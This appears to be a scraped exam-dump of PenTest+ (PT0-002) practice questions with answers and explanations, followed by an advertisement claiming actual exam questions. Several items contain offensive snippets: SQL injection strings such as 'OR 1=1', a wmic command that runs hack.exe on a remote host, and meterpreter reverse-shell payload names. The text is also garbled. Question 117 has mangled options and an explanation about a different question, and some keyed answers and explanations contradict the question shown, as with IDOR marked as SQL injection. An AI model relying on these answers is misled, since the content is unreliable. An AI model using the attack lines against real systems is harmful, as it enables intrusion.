Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code³⁴.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files⁵.

NEW QUESTION 116

During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?

- A. Continue the assessment and mark the finding as critical.
- B. Attempting to remediate the issue temporarily.
- C. Notify the primary contact immediately.
- D. Shutting down the web server until the assessment is finished

Answer: C

Explanation:

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

NEW QUESTION 117

A penetration tester wrote the following Bash script to brute force a local service password:

..ting as expected. Which of the following changes should the penetration tester make to get the script to work?

- A. `..echo "The correct password is $p" && break) ho "The correct password is $p" |I break`
- B. `..echo "The correct password is $p" && break) o "The correct password is $p" | break`
- C. `echo "The correct password is $p" && break) echo "The correct password is $p" && break)`
- D. `. { echo "The correct password is $p" && break } With`
- E. `(echo "The correct password is $p" && break)`

Answer: B

Explanation:

CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.

NEW QUESTION 119

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service    Version
22/tcp    open      ssh        Cisco SSH 1.25 (protocol 2.0)
80/tcp    open      http       Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open      https      Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: DE

Explanation:

The key findings indicate that the network device is vulnerable to several attacks, such as sniffing, brute-forcing, or exploiting the SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which means a separate network that is not accessible from the production network, and to implement a better method for authentication, such as SSH keys or certificates. The other options are not as effective or relevant.

NEW QUESTION 124

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last_user
- C. /var/log/user_log
- D. /var/log/lastlog

Answer: D

Explanation:

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

NEW QUESTION 127

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 129

In Python socket programming, SOCK_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

Answer: C

Explanation:

In Python socket programming, SOCK_DGRAM type is connectionless. This means that the socket does not establish a reliable connection between the sender and the receiver, and does not guarantee that the packets will arrive in order or without errors. SOCK_DGRAM type is used for UDP (User Datagram Protocol) sockets, which are faster and simpler than TCP (Transmission Control Protocol) sockets.

NEW QUESTION 132

A penetration tester conducts an Nmap scan against a target and receives the following results:

Port	State	Service
1080/tcp	open	socks

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

- A. Nessus
- B. ProxyChains
- C. OWASPZAP
- D. Empire

Answer: B

NEW QUESTION 134

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. nmap -T3 192.168.0.1
- B. nmap -P0 192.168.0.1
- C. nmap -T0 192.168.0.1
- D. nmap -A 192.168.0.1

Answer: C

NEW QUESTION 135

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 137

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse_tcp
- B. windows/x64/meterpreter/reverse_http
- C. windows/x64/shell_reverse_tcp
- D. windows/x64/powershell_reverse_tcp
- E. windows/x64/meterpreter/reverse_https

Answer: B

Explanation:

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

NEW QUESTION 140

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

Explanation:

The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.

NEW QUESTION 142

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports
```

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 6.6.1p1
53/tcp	open	domain	dnsmasq 2.72
80/tcp	open	http	lighttpd
443/tcp	open	ssl/http	httpd

```
Service Info: OS: Linux: Device: router; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 146

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

Answer: A

Explanation:

S/MIME stands for Secure/Multipurpose Internet Mail Extensions and is a standard for encrypting and signing email messages. It uses public key cryptography to ensure the confidentiality, integrity, and authenticity of email communications. FTPS is a protocol for transferring files securely over SSL/TLS, but it is not used for emailing. DNSSEC is a protocol for securing DNS records, but it does not protect email content. AS2 is a protocol for exchanging business documents over HTTP/S, but it is not used for emailing.

NEW QUESTION 147

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

Answer: B

Explanation:

<https://hackertarget.com/nikto-website-scanner/>

NEW QUESTION 150

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

Answer: A

NEW QUESTION 155

Penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and)ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?

- A. Conditional

- B. Library
- C. Dictionary
- D. Sub application

Answer: B

Explanation:

The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

NEW QUESTION 158

Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

- A. Active scanning
- B. Ping sweep
- C. Protocol reversing
- D. Packet analysis

Answer: A

NEW QUESTION 162

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

Answer: A

NEW QUESTION 163

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 166

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

Answer: BC

NEW QUESTION 169

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 170

During an assessment, a penetration tester inspected a log and found a series of thousands of requests coming from a single IP address to the same URL. A few of the requests are listed below.

```
.myprofile.com/servicestatus.php?serviceID=1
.myprofile.com/servicestatus.php?serviceID=2
.myprofile.com/servicestatus.php?serviceID=3
.myprofile.com/servicestatus.php?serviceID=4
.myprofile.com/servicestatus.php?serviceID=5
.myprofile.com/servicestatus.php?serviceID=6
```

Which of the following vulnerabilities was the attacker trying to exploit?

- A. ..Session hijacking
- B. ..URL manipulation
- C. ..SQL injection
- D. ..Insecure direct object reference

Answer: C

Explanation:

The vulnerability that the attacker was trying to exploit is SQL injection, which is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can allow an attacker to perform various actions on the database, such as reading, modifying, deleting, or creating data, or executing commands on the underlying OS. The log shows that the attacker was sending thousands of requests to the same URL with different parameters, such as `id=1' OR 1=1;--`, `id=1' AND 1=2;--`, or `id=1' UNION SELECT * FROM users;--`. These parameters are examples of SQL injection payloads, which are crafted SQL statements that are designed to manipulate or bypass the intended SQL query. For example, `id=1' OR 1=1;--` is a payload that terminates the original query with a single quote and a semicolon, appends an OR condition that is always true (`1=1`), and comments out the rest of the query with two dashes (`--`). This payload can cause the web application to return all records from the database table instead of just one record with `id=1`. The other options are not vulnerabilities that match the log entries. Session hijacking is a type of attack that exploits a vulnerability in a web application that allows an attacker to take over an active session of another user by stealing or guessing their session identifier or cookie. URL manipulation is a type of attack that exploits a vulnerability in a web application that allows an attacker to modify parameters or values in the URL to access unauthorized resources or functions. Insecure direct object reference is a type of attack that exploits a vulnerability in a web application that allows an attacker to access objects or resources directly by modifying their identifiers or references in the URL or request.

NEW QUESTION 171

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

Answer: B

NEW QUESTION 172

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

- A. Terminate the contract.
- B. Update the ROE with new signature
- C. Most Voted
- D. Scan the 8-bit block to map additional missed hosts.
- E. Continue the assessment.

Answer: B

NEW QUESTION 176

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

Answer: D

Explanation:

SMTP is a protocol associated with mail servers. Therefore, for a penetration tester, an open relay configuration can be exploited to launch phishing attacks.

NEW QUESTION 180

A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

- A. Using OpenVAS in default mode
- B. Using Nessus with credentials
- C. Using Nmap as the root user

D. Using OWASP ZAP

Answer: B

Explanation:

Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

NEW QUESTION 184

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

Answer: A

Explanation:

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

NEW QUESTION 186

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-002 Practice Exam Features:

- * PT0-002 Questions and Answers Updated Frequently
- * PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * PT0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-002 Practice Test Here](#)